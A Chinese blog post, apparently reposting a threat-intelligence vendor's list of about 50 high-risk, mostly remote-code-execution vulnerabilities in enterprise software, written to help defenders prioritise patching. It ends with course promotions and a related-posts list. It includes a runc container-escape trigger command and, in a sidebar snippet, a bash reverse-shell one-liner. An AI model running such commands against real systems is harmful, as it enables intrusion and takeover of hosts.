几乎全是RCE，100%有PoC，2024年红队最害怕你知道的50个高危漏洞！从零基础到精通，收藏这篇就够了！

于 2025-05-26 18:40:02 发布
阅读量771 收藏 9
点赞数 26
分类专栏： 网络安全 Web安全 网络 文章标签： 学习 网络 php 开发语言 数据库 python java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/QIANDXX/article/details/148237607
版权

结局尚未确定，一切皆有变数。2024年哪些漏洞大概率会进入红队的“武器名单”？

结合近几年对攻防演练中漏洞的分析，微步梳理了如下50个100%攻防演练期间需要重点保护的软件或组件。

并且！这些漏洞几乎都是RCE（绝对高价值），100%有PoC及微步捕获到攻击行为（危害极大），漏洞80%来自微步漏洞奖励计划（绝对是认真的），与市面上已发布漏洞绝大多数都不重复，强烈建议各位师傅提前排查。

直接获取权限的RCE漏洞

RCE漏洞（远程代码执行漏洞）的危害极大，攻击者可以通过远程手段在目标系统上执行任意代码，从而完全控制受影响的系统，需要特别注意以下漏洞威胁：

0****1

广泛使用的Web软件

  1. Atlassian Confluence 模板注入代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-2478

  1. Atlassian Confluence 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-2477

  1. GitLab 任意用户密码重置漏洞

https://x.threatbook.com/v5/vul/XVE-2023-37347

0****2

Web应用服务器

  1. Oracle Weblogic 远程执行执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-1913

  1. Oracle WebLogic T3/IIOP 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-8244

  1. 金蝶Apusic应用服务器远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-7578

0****3

中间件/框架

  1. Apache Struts2 文件上传漏洞

https://x.threatbook.com/v5/vul/XVE-2023-35659

  1. Apache ActiveMQ 远程命令执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-6852

  1. Apache Solr 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-17224

  1. XXL-JOB 默认 accessToken 身份绕过漏洞

https://x.threatbook.com/v5/vul/XVE-2023-21328

0****4

OA/协同办公软件

  1. 易宝OA 远程命令执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-7098

  1. 致远OA fileUpload.do 前台文件上传绕过漏洞

https://x.threatbook.com/v5/vul/XVE-2024-8166

  1. 致远OA 帆软组件管理员密码重置漏洞

https://x.threatbook.com/v5/vul/XVE-2024-4124

  1. 蓝凌eis 前台文件上传漏洞

https://x.threatbook.com/v5/vul/XVE-2024-1767

  1. 蓝凌EKP sysUiExtend 文件上传漏洞

https://x.threatbook.com/v5/vul/XVE-2024-5664

  1. 泛微 e-cology9 远程命令执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-3376

  1. 泛微 e-mobile client.do 远程命令执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-8161

  1. 泛微 EOffice10 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-19290

  1. 宏景HCM 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-20230

  1. 宏景HCM loadhistroyorgtree SQL注入漏洞

https://x.threatbook.com/v5/vul/XVE-2024-0775

  1. 金和JC6 viewConTemplate 模版注入漏洞

https://x.threatbook.com/v5/vul/XVE-2024-6318

0****5

ERP系统

  1. 华夏ERP 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-25737

  1. 用友 U8Cloud远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-32221

https://x.threatbook.com/v5/vul/XVE-2023-32222

  1. 用友NC多个远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-29121

https://x.threatbook.com/v5/vul/XVE-2023-29120

https://x.threatbook.com/v5/vul/XVE-2023-29119

  1. 用友YonBIP ServiceDispatcher远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-33525

  1. 金蝶云星空任意文件上传漏洞

https://x.threatbook.com/v5/vul/XVE-2023-18281

0****6

集权系统/安全设备

  1. 联软UniNAC网络准入控制系统 任意文件读取漏洞

https://x.threatbook.com/v5/vul/XVE-2023-25397

  1. 联软UniNAC网络准入控制系统 远程命令执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-25005

  1. 瑞友天翼应用虚拟化系统远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-10382

https://x.threatbook.com/v5/vul/XVE-2023-26021

  1. H3C-CAS虚拟化管理系统文件上传漏洞

https://x.threatbook.com/v5/vul/XVE-2023-35299

  1. IP-guard WebServer权限绕过漏洞

https://x.threatbook.com/v5/vul/XVE-2023-35516

  1. 海康威视综合安防管理平台 远程命令执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-8852

33. Zabbix 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-11727

0****7

开发常用工具

  1. Jenkins CLI 任意文件读取漏洞

https://x.threatbook.com/v5/vul/XVE-2024-1444

  1. 普元EOS 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-32543

  1. 禅道项目管理系统 前台远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-35298

  1. 禅道项目管理系统 前台身份验证错误漏洞

https://x.threatbook.com/v5/vul/XVE-2024-9141

  1. GeoServer wms 远程命令执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-12780

  1. aiohttp 目录遍历漏洞

https://x.threatbook.com/v5/vul/XVE-2024-1472

  1. AJ-Report 前台远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-1255

0****8

存放敏感数据的系统

  1. SMARTBI 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-20159

  1. 亿赛通新一代电子文档安全管理系统 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-25245

  1. I Doc View在线文档预览系统远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-23743

  1. kkFileView 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-8588

  1. OpenMetadata 远程命令执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-4688

0****9

网络设备

  1. F5 BIG-IP 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-29359

可能被用于钓鱼的漏洞

  1. WPS Office远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2023-25590

攻击者可利用该漏洞生成恶意文档，受害者打开文档即可触发命令执行，进而完全控制主机。

  1. Microsoft Outlook 远程代码执行漏洞

https://x.threatbook.com/v5/vul/XVE-2024-2628

攻击者可以制作一个恶意链接，绕过保护视图协议，导致本地 NTLM 凭据信息泄露和远程代码执行。

可能被用于定向投毒的漏洞

  1. runc 容器逃逸漏洞

https://x.threatbook.com/v5/vul/XVE-2024-1839

攻击者通过制作一个恶意镜像，如果受害者使用形如 “docker exec -w /proc/self/fd/7 -it cve-2024-21626 /bin/bash” 的方式启动时，即可造成逃逸，进而控制宿主机。

  1. Git 远程代码执行

https://x.threatbook.com/v5/vul/XVE-2024-10966

攻击者通过制作一个恶意仓库，如果受害者启用了Git的符号链接功能，在 clone 恶意仓库时，攻击者会直接控制受害者主机。

另外，攻防演练期间，微步同样提供漏洞验真报告，对每一条漏洞进行人工验证与复现，并将所有验真漏洞汇总成报告（下方为2023年攻防演练期间，微步提供的攻防验真报告截图）。

题外话

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

1.学习路线图

在这里插入图片描述

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程
网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我们和网安大厂360共同研发的网安视频教程，之前都是内部资源，专业方面绝对可以秒杀国内99%的机构和个人教学！全网独一份，你不可能在网上找到这么专业的教程。

内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识，而且包含了中级的各种渗透技术，并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频，200多G的资源，不用担心学不全。
在这里插入图片描述
因篇幅有限，仅展示部分资料，需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

3.技术文档和电子书
技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。

在这里插入图片描述

因篇幅有限，仅展示部分资料，需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包，需要的话见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

在这里插入图片描述

因篇幅有限，仅展示部分资料，需要见下图即可前往获取
在这里插入图片描述

🐵这些东西我都可以免费分享给大家，需要的可以点这里自取👉:网安入门到进阶资源
————————————————

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

CVE-2024-23917 TeamCity高危漏洞利用(权限绕过)
4SecNet团队专栏
10-19 216
TeamCity支持多种编程语言和开发环境，并提供了丰富的功能和工具，帮助开发团队构建和交付高质量的软件。1.最简单直接的方式，通过创建的用户登录系统之后，进入agent页面，查看在线的agent环境，点击OpenTerminal按钮，打开虚拟终端。1.通过Agent功能启动的进程通常处于session0会话空间中，与用户所在会话空间存在会话隔离，这就导致恶意进程"天生"具有隐蔽性。2.通过Agent功能启用的进程，通过继承TeamCityAgent的运行权限，用于系统权限，不需要额外的提权操作。
溯源系列：溯源案例一
weixin_54626591的博客
01-06 1832
溯源案例一
《2025攻防演练必修漏洞合集》
最新发布
2301_76786857的博客
04-02 422
传统的漏洞清单往往局限于漏洞描述和修复建议，忽视了漏洞在攻击链中的角色及其与其他攻击手段的联动作用。这一模型打破了静态分析框架，将漏洞视为攻击者攻破防线的关键“跳板”，帮助防守方从整体攻击链角度审视漏洞利用路径，从而提前布局。这一过程中，企业不再单纯依赖单点防御，而是通过识别漏洞及其攻击链的潜在弱点，从全链条角度建立起更为全面的防御体系。出发的分析方法，将漏洞治理转变为动态的全链条防御策略，提升了企业在面对复杂威胁时的应对能力。基于这些攻击链路径，报告为企业提供了多样化的攻击剧本，帮助防守方。
针对Cisco DCNM高危漏洞的PoC公开
NOSEC2019的博客
01-17 1146
今年年初，一名研究人员发现了思科数据中心网络管理器（DCNM）产品的许多漏洞，而在近期他公开了部分漏洞的PoC演示和技术细节。 今年1月初，思科官方通知客户，它已发布了针对DCNM的安全更新，解决了几个高危漏洞。 文章描述了多个高危RCE利用链。其中被评价为critical的漏洞可以让远程攻击者绕过身份验证，在目标设备以管理员权限执行任意操作。而漏洞的根本原因是由于设备存在硬编码加密密钥和登录...
【高危】Strurs2又现高危漏洞（附Poc&Exp）
weixin_34040079的博客
03-07 107
话说今天早上，一个名为str2-045的漏洞成了大家的讨论焦点，那么这个str2-045到底是个什么鬼？这个漏洞的全名啊，叫做:基于 Jakarta plugin插件的Struts远程代码执行漏洞。根据官方评价，这个漏洞属于高危漏洞，他的漏洞编号是:CVE-2017-5638那这个漏洞到底是怎么一回事呢？恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type...
红队视角！2024国家级攻防演练100+必修高危漏洞合集
亚信安全官方账号的博客
05-27 360
2024年 HVV 在即，亚信安全正式发布《2024攻防演练必修高危漏洞合集》，以红队视角看攻防。
POC集合，框架nday漏洞利用
公众号:乌云安全
02-11 1062
CVE-2021-45897 全球最大CRM系统SuiteCRM远程命令执行漏洞分析与复现。组合利用泛微信息泄漏漏洞和任意用户登录漏洞，可获取全部loginId并测试登录。泛微e-cology OA Beanshell组件远程代码执行漏洞复现。（CNVD-2021-26422）亿邮电子邮件系统 远程命令执行漏洞。帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757。泛微OA weaver.common.Ctrl 任意文件上传漏洞。泛微e-cology另一接口任意文件上传(已修复)
信息安全专业全国院校排名（非常全面），收藏这一篇就够了
Python_0011的博客
05-02 1169
内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。信息安全专业国家级一流本科专业大学。
【POC公开】CVE-2021-30465: runc符号链接挂载与容器逃逸漏洞通告
爱国小白帽
06-01 2930
报告编号：B6-2021-060101 报告来源：360CERT 报告作者：360CERT 更新日期：2021-06-01 1 漏洞简述 2021年06月01日，360CERT监测发现国外安全研究人员发布了runc符号链接挂载与容器逃逸漏洞的POC，漏洞编号为CVE-2021-30465，漏洞等级：高危，漏洞评分：7.6。 runc是一个通用的标准化容器运行环境，其可以根据开放容器方案生成和运行容器。其被广泛的应用于各种虚拟化环境中，如Kubernets。成功利用该漏洞的攻击者可以突破虚拟化环境的限制，完成
用友NC NCCLOUD BIP ldap公共入口uapjs漏洞补丁
QB2767846279
03-27 1910
ncc1909ldap公共入口漏洞补丁。ncc1909ldap公共入口漏洞补丁。ncc2005ldap公共入口漏洞补丁。ncc2005ldap公共入口漏洞补丁。nc633_ldap公共入口漏洞补丁。nc633_ldap公共入口漏洞补丁。nc65_ldap公共入口漏洞补丁。nc65_ldap公共入口漏洞补丁。nc63_ldap公共入口漏洞补丁。nc63_ldap公共入口漏洞补丁。nc57_ldap公共入口漏洞补丁。nc57_ldap公共入口漏洞补丁。
用友NC uapjs RCE漏洞复现(CNVD-C-2023-76801)
热门推荐
0xSec
06-29 1万+
用友NC及NC Cloud系统存在任意文件上传漏洞，攻击者可通过uapjs（jsinvoke）应用构造恶意请求非法上传后门程序，此漏洞可以给NC服务器预埋后门，从而可以随意操作服务器
xxl-job-执行器-RESTful-API-未授权访问-RCE
qq_41659863的博客
10-24 3045
xxl-job-执行器 后台 漏洞复现
探索XXL-JOB-RCE：一款强大的远程代码执行工具
gitblog_00074的博客
04-02 1030
探索XXL-JOB-RCE：一款强大的远程代码执行工具 去发现同类优质开源项目:https://gitcode.com/ 项目简介 XXL-JOB-RCE 是一个针对 XXL-JOB 远程命令执行漏洞的利用工具。XXL-JOB 是一个轻量级分布式任务调度平台，广泛用于企业中进行定时任务的管理和执行。然而，XXL-JOB 在某些版本存在安全缺陷，允许攻击者通过精心构造的请求在服务器上执行任意代码。 ...
XXL-Job任务调度中心后台RCE和executor未授权访问漏洞
gzy1616的博客
01-10 1196
bin/bash -i >& /dev/tcp/监控ip/5555 0>&1。运行模式选择shell，使用在线的dnslog网站，判断出不出网。执行命令后刷新在线的Dnslog网站发现命令执行成功。首先我们在Linux中搭建好靶场。输入密码admin/123456。找到任务管理新建一个任务。
某外贸ERP 任意文件上传导致命令执行漏洞复现(XVE-2024-8865)
0xSec
04-24 1134
某外贸ERP UploadEmailAttr接口处存在任意文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。
金蝶Apusic应用服务器deployApp接口任意文件上传漏洞复现 [附POC]
薛定谔嘚喵博客
12-02 867
金蝶Apusic应用服务器 deployApp 接口存在任意文件上传漏洞，击者可通过双斜杠绕过鉴权并上传恶意压缩包到服务器，导致远程代码执行，危及服务器安全，接管服务器权限。
红队|域渗透重要漏洞汇总
st3pby的博客
11-22 759
域渗透重要漏洞汇总
网络靶场实战--BIG-IP CVE漏洞分析(CVE-2022-41622)(CVE-2022-41800)
蛇矛实验室
12-13 1540
这一小节，我们简单分析了F5设备的俩个pre-auth漏洞，了解了rpm注入和csrf漏洞产生原因。并且在此过程中我们简单学习F5设备中 soap接口和rest接口的区别以及利用。蛇矛实验室成立于2020年，致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成，团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值